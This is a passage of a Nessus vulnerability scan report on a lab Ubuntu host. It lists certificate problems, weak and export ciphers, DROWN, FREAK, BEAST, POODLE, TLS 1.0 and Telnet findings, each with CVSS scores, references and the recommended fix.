-----	-----	---	----	-----	---
ADH-DES-CBC3-SHA SHA1	0x00, 0x1B	DH	None	3DES-CBC(168)	

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
ADH-AES128-SHA SHA1	0x00, 0x34	DH	None	AES-CBC(128)	
ADH-AES256-SHA SHA1	0x00, 0x3A	DH	None	AES-CBC(256)	
ADH-RC4-MD5	0x00, 0x18	DH	None	RC4(128)	MD5

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

Synopsis

The SSL certificate for this service cannot be trusted.

Description

The server's X.509 certificate cannot be trusted. This situation can occur in three different ways, in which the chain of trust can be broken, as stated below :

- First, the top of the certificate chain sent by the server might not be descended from a known public certificate authority. This can occur either when the top of the chain is an unrecognized, self-signed certificate, or when intermediate certificates are missing that would connect the top of the certificate chain to a known public certificate authority.
- Second, the certificate chain may contain a certificate that is not valid at the time of the scan. This can occur either when the scan occurs before one of the certificate's 'notBefore' dates, or after one of the certificate's 'notAfter' dates.
- Third, the certificate chain may contain a signature that either didn't match the certificate's information or could not be verified. Bad signatures can be fixed by getting the certificate with the bad signature to be re-signed by its issuer. Signatures that could not be verified are the result of the certificate's issuer using a signing algorithm that Nessus either does not support or does not recognize.

If the remote host is a public host in production, any break in the chain makes it more difficult for users to verify the authenticity and identity of the web server. This could make it easier to carry out man-in-the-middle attacks against the remote host.

See Also

<https://www.itu.int/rec/T-REC-X.509/en>

<https://en.wikipedia.org/wiki/X.509>

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2010/12/15, Modified: 2020/04/27

Plugin Output

tcp/25/smtp

The following certificate was part of the certificate chain sent by the remote host, but it has expired :

```
| -Subject    : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain  
| -Not After  : Apr 16 14:07:45 2010 GMT
```

The following certificate was at the top of the certificate chain sent by the remote host, but it is signed by an unknown certificate authority :

```
| -Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain  
| -Issuer  : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain
```

Synopsis

The SSL certificate for this service cannot be trusted.

Description

The server's X.509 certificate cannot be trusted. This situation can occur in three different ways, in which the chain of trust can be broken, as stated below :

- First, the top of the certificate chain sent by the server might not be descended from a known public certificate authority. This can occur either when the top of the chain is an unrecognized, self-signed certificate, or when intermediate certificates are missing that would connect the top of the certificate chain to a known public certificate authority.
- Second, the certificate chain may contain a certificate that is not valid at the time of the scan. This can occur either when the scan occurs before one of the certificate's 'notBefore' dates, or after one of the certificate's 'notAfter' dates.
- Third, the certificate chain may contain a signature that either didn't match the certificate's information or could not be verified. Bad signatures can be fixed by getting the certificate with the bad signature to be re-signed by its issuer. Signatures that could not be verified are the result of the certificate's issuer using a signing algorithm that Nessus either does not support or does not recognize.

If the remote host is a public host in production, any break in the chain makes it more difficult for users to verify the authenticity and identity of the web server. This could make it easier to carry out man-in-the-middle attacks against the remote host.

See Also

<https://www.itu.int/rec/T-REC-X.509/en>

<https://en.wikipedia.org/wiki/X.509>

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2010/12/15, Modified: 2020/04/27

Plugin Output

tcp/5432/postgresql

The following certificate was part of the certificate chain sent by the remote host, but it has expired :

```
| -Subject   : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain  
| -Not After : Apr 16 14:07:45 2010 GMT
```

The following certificate was at the top of the certificate chain sent by the remote host, but it is signed by an unknown certificate authority :

```
| -Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain  
| -Issuer  : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain
```

Synopsis

The remote server's SSL certificate has already expired.

Description

This plugin checks expiry dates of certificates associated with SSL- enabled services on the target and reports whether any have already expired.

Solution

Purchase or generate a new SSL certificate to replace the existing one.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2004/12/03, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

The SSL certificate has already expired :

```
Subject      : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
emailAddress=root@ubuntu804-base.localdomain
Issuer       : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
emailAddress=root@ubuntu804-base.localdomain
Not valid before : Mar 17 14:07:45 2010 GMT
Not valid after  : Apr 16 14:07:45 2010 GMT
```


Synopsis

The remote server's SSL certificate has already expired.

Description

This plugin checks expiry dates of certificates associated with SSL- enabled services on the target and reports whether any have already expired.

Solution

Purchase or generate a new SSL certificate to replace the existing one.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2004/12/03, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

The SSL certificate has already expired :

```
Subject      : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
emailAddress=root@ubuntu804-base.localdomain
Issuer       : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
emailAddress=root@ubuntu804-base.localdomain
Not valid before : Mar 17 14:07:45 2010 GMT
Not valid after  : Apr 16 14:07:45 2010 GMT
```

45411 - SSL Certificate with Wrong Hostname

Synopsis

The SSL certificate for this service is for a different host.

Description

The 'commonName' (CN) attribute of the SSL certificate presented for this service is for a different machine.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2010/04/03, Modified: 2020/04/27

Plugin Output

tcp/25/smtp

```
The identities known by Nessus are :
```

```
192.168.1.209
192.168.1.209
```

```
The Common Name in the certificate is :
```

```
ubuntu804-base.localdomain
```

45411 - SSL Certificate with Wrong Hostname

Synopsis

The SSL certificate for this service is for a different host.

Description

The 'commonName' (CN) attribute of the SSL certificate presented for this service is for a different machine.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2010/04/03, Modified: 2020/04/27

Plugin Output

tcp/5432/postgresql

```
The identities known by Nessus are :
```

```
192.168.1.209
192.168.1.209
```

```
The Common Name in the certificate is :
```

```
ubuntu804-base.localdomain
```

Synopsis

The remote host may be affected by a vulnerability that allows a remote attacker to potentially decrypt captured TLS traffic.

Description

The remote host supports SSLv2 and therefore may be affected by a vulnerability that allows a cross-protocol Bleichenbacher padding oracle attack known as DROWN (Decrypting RSA with Obsolete and Weakened eNcryption). This vulnerability exists due to a flaw in the Secure Sockets Layer Version 2 (SSLv2) implementation, and it allows captured TLS traffic to be decrypted. A man-in-the-middle attacker can exploit this to decrypt the TLS connection by utilizing previously captured traffic and weak cryptography along with a series of specially crafted connections to an SSLv2 server that uses the same private key.

See Also

<https://drownattack.com/>

<https://drownattack.com/drown-attack-paper.pdf>

Solution

Disable SSLv2 and export grade cryptography cipher suites. Ensure that private keys are not used anywhere with server software that supports SSLv2 connections.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.2 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID 83733

CVE CVE-2016-0800
XREF CERT:583776

Plugin Information

Published: 2016/03/01, Modified: 2019/11/20

Plugin Output

tcp/25/smtp

The remote host is affected by SSL DROWN and supports the following vulnerable cipher suites :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-RC2-CBC-MD5 export	0x04, 0x00, 0x80	RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-RC4-MD5 export	0x02, 0x00, 0x80	RSA(512)	RSA	RC4(40)	MD5

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
RC4-MD5	0x01, 0x00, 0x80	RSA	RSA	RC4(128)	MD5

The fields above are :

{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}

Synopsis

The remote service supports the use of the RC4 cipher.

Description

The remote host supports the use of RC4 in one or more cipher suites.

The RC4 cipher is flawed in its generation of a pseudo-random stream of bytes so that a wide variety of small biases are introduced into the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an attacker is able to obtain many (i.e., tens of millions) ciphertexts, the attacker may be able to derive the plaintext.

See Also

<https://www.rc4nomore.com/>

<http://www.nessus.org/u?ac7327a0>

<http://cr.yp.to/talks/2013.03.12/slides.pdf>

<http://www.isg.rhul.ac.uk/tls/>

https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf

Solution

Reconfigure the affected application, if possible, to avoid use of RC4 ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser and web server support.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.4 (CVSS:3.0/E:U/RL:X/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:ND/RC:C)

References

BID 58796
BID 73684
CVE CVE-2013-2566
CVE CVE-2015-2808

Plugin Information

Published: 2013/04/05, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

List of RC4 cipher suites supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-RC4-MD5 export	0x02, 0x00, 0x80	RSA(512)	RSA	RC4(40)	MD5
EXP-ADH-RC4-MD5 export	0x00, 0x17	DH(512)	None	RC4(40)	MD5
EXP-RC4-MD5 export	0x00, 0x03	RSA(512)	RSA	RC4(40)	MD5

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
RC4-MD5	0x01, 0x00, 0x80	RSA	RSA	RC4(128)	MD5
ADH-RC4-MD5	0x00, 0x18	DH	None	RC4(128)	MD5
RC4-MD5	0x00, 0x04	RSA	RSA	RC4(128)	MD5
RC4-SHA	0x00, 0x05	RSA	RSA	RC4(128)	MD5

SHA1

The fields above are :

{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}

Synopsis

The remote service supports the use of the RC4 cipher.

Description

The remote host supports the use of RC4 in one or more cipher suites.

The RC4 cipher is flawed in its generation of a pseudo-random stream of bytes so that a wide variety of small biases are introduced into the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an attacker is able to obtain many (i.e., tens of millions) ciphertexts, the attacker may be able to derive the plaintext.

See Also

<https://www.rc4nomore.com/>

<http://www.nessus.org/u?ac7327a0>

<http://cr.yp.to/talks/2013.03.12/slides.pdf>

<http://www.isg.rhul.ac.uk/tls/>

https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf

Solution

Reconfigure the affected application, if possible, to avoid use of RC4 ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser and web server support.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.4 (CVSS:3.0/E:U/RL:X/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:ND/RC:C)

References

BID 58796
BID 73684
CVE CVE-2013-2566
CVE CVE-2015-2808

Plugin Information

Published: 2013/04/05, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

List of RC4 cipher suites supported by the remote server :

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
RC4-SHA	0x00, 0x05	RSA	RSA	RC4(128)	
SHA1					

The fields above are :

{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}

Synopsis

The SSL certificate chain for this service ends in an unrecognized self-signed certificate.

Description

The X.509 certificate chain for this service is not signed by a recognized certificate authority. If the remote host is a public host in production, this nullifies the use of SSL as anyone could establish a man-in-the-middle attack against the remote host.

Note that this plugin does not check for certificate chains that end in a certificate that is not self-signed, but is signed by an unrecognized certificate authority.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2012/01/17, Modified: 2020/04/27

Plugin Output

tcp/25/smtp

```
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :
```

```
| -Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

Synopsis

The SSL certificate chain for this service ends in an unrecognized self-signed certificate.

Description

The X.509 certificate chain for this service is not signed by a recognized certificate authority. If the remote host is a public host in production, this nullifies the use of SSL as anyone could establish a man-in-the-middle attack against the remote host.

Note that this plugin does not check for certificate chains that end in a certificate that is not self-signed, but is signed by an unrecognized certificate authority.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2012/01/17, Modified: 2020/04/27

Plugin Output

tcp/5432/postgresql

```
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :
```

```
| -Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

Synopsis

The remote service supports the use of weak SSL ciphers.

Description

The remote host supports the use of SSL ciphers that offer weak encryption.

Note: This is considerably easier to exploit if the attacker is on the same physical network.

See Also

<http://www.nessus.org/u?6527892d>

Solution

Reconfigure the affected application, if possible to avoid the use of weak ciphers.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

References

XREF	CWE:326
XREF	CWE:327
XREF	CWE:720
XREF	CWE:753
XREF	CWE:803
XREF	CWE:928
XREF	CWE:934

Plugin Information

Published: 2007/10/08, Modified: 2021/02/03

Plugin Output

192.168.1.209

Here is the list of weak SSL ciphers supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
EXP-RC2-CBC-MD5 export	0x04, 0x00, 0x80	RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-RC4-MD5 export	0x02, 0x00, 0x80	RSA(512)	RSA	RC4(40)	MD5
EXP-EDH-RSA-DES-CBC-SHA SHA1 export	0x00, 0x14	DH(512)	RSA	DES-CBC(40)	
EDH-RSA-DES-CBC-SHA SHA1	0x00, 0x15	DH	RSA	DES-CBC(56)	
EXP-ADH-DES-CBC-SHA SHA1 export	0x00, 0x19	DH(512)	None	DES-CBC(40)	
EXP-ADH-RC4-MD5 export	0x00, 0x17	DH(512)	None	RC4(40)	MD5
ADH-DES-CBC-SHA SHA1	0x00, 0x1A	DH	None	DES-CBC(56)	
EXP-DES-CBC-SHA SHA1 export	0x00, 0x08	RSA(512)	RSA	DES-CBC(40)	
EXP-RC2-CBC-MD5 export	0x00, 0x06	RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-RC4-MD5 export	0x00, 0x03	RSA(512)	RSA	RC4(40)	MD5
DES-CBC-SHA SHA1	0x00, 0x09	RSA	RSA	DES-CBC(56)	

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

81606 - SSL/TLS EXPORT_RSA <= 512-bit Cipher Suites Supported (FREAK)

Synopsis

The remote host supports a set of weak ciphers.

Description

The remote host supports EXPORT_RSA cipher suites with keys less than or equal to 512 bits. An attacker can factor a 512-bit RSA modulus in a short amount of time.

A man-in-the middle attacker may be able to downgrade the session to use EXPORT_RSA cipher suites (e.g. CVE-2015-0204). Thus, it is recommended to remove support for weak cipher suites.

See Also

<https://www.smacktls.com/#freak>

<https://www.openssl.org/news/secadv/20150108.txt>

<http://www.nessus.org/u?b78da2c4>

Solution

Reconfigure the service to remove support for EXPORT_RSA cipher suites.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID	71936
CVE	CVE-2015-0204
XREF	CERT:243585

Plugin Information

Published: 2015/03/04, Modified: 2021/02/03

Plugin Output

EXPORT_RSA cipher suites supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
EXP-DES-CBC-SHA SHA1 export	0x00, 0x08	RSA(512)	RSA	DES-CBC(40)	
EXP-RC2-CBC-MD5 export	0x00, 0x06	RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-RC4-MD5 export	0x00, 0x03	RSA(512)	RSA	RC4(40)	MD5

The fields above are :

- {Tenable ciphername}
- {Cipher ID code}
- Kex={key exchange}
- Auth={authentication}
- Encrypt={symmetric encryption method}
- MAC={message authentication code}
- {export flag}

58751 - SSL/TLS Protocol Initialization Vector Implementation Information Disclosure Vulnerability (BEAST)

Synopsis

It may be possible to obtain sensitive information from the remote host with SSL/TLS-enabled services.

Description

A vulnerability exists in SSL 3.0 and TLS 1.0 that could allow information disclosure if an attacker intercepts encrypted traffic served from an affected system.

TLS 1.1, TLS 1.2, and all cipher suites that do not use CBC mode are not affected.

This plugin tries to establish an SSL/TLS remote connection using an affected SSL version and cipher suite and then solicits return data.

If returned application data is not fragmented with an empty or one-byte record, it is likely vulnerable.

OpenSSL uses empty fragments as a countermeasure unless the 'SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS' option is specified when OpenSSL is initialized.

Microsoft implemented one-byte fragments as a countermeasure, and the setting can be controlled via the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL\SendExtraRecord.

Therefore, if multiple applications use the same SSL/TLS implementation, some may be vulnerable while others may not be, depending on whether or not a countermeasure has been enabled.

Note that this plugin detects the vulnerability in the SSLv3/TLSv1 protocol implemented in the server. It does not detect the BEAST attack where it exploits the vulnerability at HTTPS client-side (i.e., Internet browser). The detection at server-side does not necessarily mean your server is vulnerable to the BEAST attack, because the attack exploits the vulnerability at the client-side, and both SSL/TLS clients and servers can independently employ the split record countermeasure.

See Also

<https://www.openssl.org/~bodo/tls-cbc.txt>

<https://www.imperialviolet.org/2011/09/23/chromeandbeast.html>

<https://vnhacker.blogspot.com/2011/09/beast.html>

<http://www.nessus.org/u?649b81c1>

<http://www.nessus.org/u?84775fd6>

<https://blogs.msdn.microsoft.com/kaushal/2012/01/20/fixing-the-beast/>

Solution

Configure SSL/TLS servers to only use TLS 1.1 or TLS 1.2 if supported.

Configure SSL/TLS servers to only support cipher suites that do not use block ciphers. Apply patches if available.

Note that additional configuration may be required after the installation of the MS12-006 security update in order to enable the split-record countermeasure. See Microsoft KB2643584 for details.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

BID	49778
CVE	CVE-2011-3389
MSKB	2585542
MSKB	2638806
XREF	CERT:864643
XREF	MSFT:MS12-006
XREF	IAVB:2012-B-0006

Plugin Information

Published: 2012/04/16, Modified: 2020/08/17

Plugin Output

tcp/25/smtp

```
Negotiated cipher suite: AES256-SHA|TLSv1|RSA|RSA|AES-CBC(256)|SHA1
```

Synopsis

It is possible to obtain sensitive information from the remote host with SSL/TLS-enabled services.

Description

The remote host is affected by a man-in-the-middle (MitM) information disclosure vulnerability known as POODLE. The vulnerability is due to the way SSL 3.0 handles padding bytes when decrypting messages encrypted using block ciphers in cipher block chaining (CBC) mode.

MitM attackers can decrypt a selected byte of a cipher text in as few as 256 tries if they are able to force a victim application to repeatedly send the same data over newly created SSL 3.0 connections.

As long as a client and service both support SSLv3, a connection can be 'rolled back' to SSLv3, even if TLSv1 or newer is supported by the client and service.

The TLS Fallback SCSV mechanism prevents 'version rollback' attacks without impacting legacy clients; however, it can only protect connections when the client and service support the mechanism. Sites that cannot disable SSLv3 immediately should enable this mechanism.

This is a vulnerability in the SSLv3 specification, not in any particular SSL implementation. Disabling SSLv3 is the only way to completely mitigate the vulnerability.

See Also

<https://www.imperialviolet.org/2014/10/14/poodle.html>

<https://www.openssl.org/~bodo/ssl-poodle.pdf>

<https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00>

Solution

Disable SSLv3.

Services that must support SSLv3 should enable the TLS Fallback SCSV mechanism until SSLv3 can be disabled.

Risk Factor

Medium

CVSS v3.0 Base Score

6.8 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.9 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID	70574
CVE	CVE-2014-3566
XREF	CERT:577193

Plugin Information

Published: 2014/10/15, Modified: 2020/06/12

Plugin Output

tcp/25/smtp

Nessus determined that the remote server supports SSLv3 with at least one CBC cipher suite, indicating that this server is vulnerable.

It appears that TLSv1 or newer is supported on the server. However, the Fallback SCSV mechanism is not supported, allowing connections to be "rolled back" to SSLv3.

Synopsis

It is possible to obtain sensitive information from the remote host with SSL/TLS-enabled services.

Description

The remote host is affected by a man-in-the-middle (MitM) information disclosure vulnerability known as POODLE. The vulnerability is due to the way SSL 3.0 handles padding bytes when decrypting messages encrypted using block ciphers in cipher block chaining (CBC) mode.

MitM attackers can decrypt a selected byte of a cipher text in as few as 256 tries if they are able to force a victim application to repeatedly send the same data over newly created SSL 3.0 connections.

As long as a client and service both support SSLv3, a connection can be 'rolled back' to SSLv3, even if TLSv1 or newer is supported by the client and service.

The TLS Fallback SCSV mechanism prevents 'version rollback' attacks without impacting legacy clients; however, it can only protect connections when the client and service support the mechanism. Sites that cannot disable SSLv3 immediately should enable this mechanism.

This is a vulnerability in the SSLv3 specification, not in any particular SSL implementation. Disabling SSLv3 is the only way to completely mitigate the vulnerability.

See Also

<https://www.imperialviolet.org/2014/10/14/poodle.html>

<https://www.openssl.org/~bodo/ssl-poodle.pdf>

<https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00>

Solution

Disable SSLv3.

Services that must support SSLv3 should enable the TLS Fallback SCSV mechanism until SSLv3 can be disabled.

Risk Factor

Medium

CVSS v3.0 Base Score

6.8 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.9 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID	70574
CVE	CVE-2014-3566
XREF	CERT:577193

Plugin Information

Published: 2014/10/15, Modified: 2020/06/12

Plugin Output

tcp/5432/postgresql

Nessus determined that the remote server supports SSLv3 with at least one CBC cipher suite, indicating that this server is vulnerable.

It appears that TLSv1 or newer is supported on the server. However, the Fallback SCSV mechanism is not supported, allowing connections to be "rolled back" to SSLv3.

Synopsis

The remote service encrypts traffic using an older version of TLS.

Description

The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a number of cryptographic design flaws. Modern implementations of TLS 1.0 mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that aren't enabled for TLS 1.2 and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30, 2018, except for POS POI terminals (and the SSL/TLS termination points to which they connect) that can be verified as not being susceptible to any known exploits.

See Also

<https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00>

Solution

Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N)

CVSS v2.0 Base Score

6.1 (CVSS2#AV:N/AC:H/Au:N/C:C/I:P/A:N)

Plugin Information

Published: 2017/11/22, Modified: 2020/03/31

Plugin Output

tcp/25/smtp

```
TLSv1 is enabled and the server supports at least one cipher.
```

Synopsis

The remote service encrypts traffic using an older version of TLS.

Description

The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a number of cryptographic design flaws. Modern implementations of TLS 1.0 mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that aren't enabled for TLS 1.2 and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30, 2018, except for POS POI terminals (and the SSL/TLS termination points to which they connect) that can be verified as not being susceptible to any known exploits.

See Also

<https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00>

Solution

Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N)

CVSS v2.0 Base Score

6.1 (CVSS2#AV:N/AC:H/Au:N/C:C/I:P/A:N)

Plugin Information

Published: 2017/11/22, Modified: 2020/03/31

Plugin Output

tcp/5432/postgresql

```
TLSv1 is enabled and the server supports at least one cipher.
```

Synopsis

The remote Telnet server transmits traffic in cleartext.

Description

The remote host is running a Telnet server over an unencrypted channel.

Using Telnet over an unencrypted channel is not recommended as logins, passwords, and commands are transferred in cleartext. This allows a remote, man-in-the-middle attacker to eavesdrop on a Telnet session to obtain credentials or other sensitive information and to modify traffic exchanged between a client and server.

SSH is preferred over Telnet since it protects credentials from eavesdropping and can tunnel additional data streams such as an X11 session.

Solution

Disable the Telnet service and use SSH instead.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N)

Plugin Information

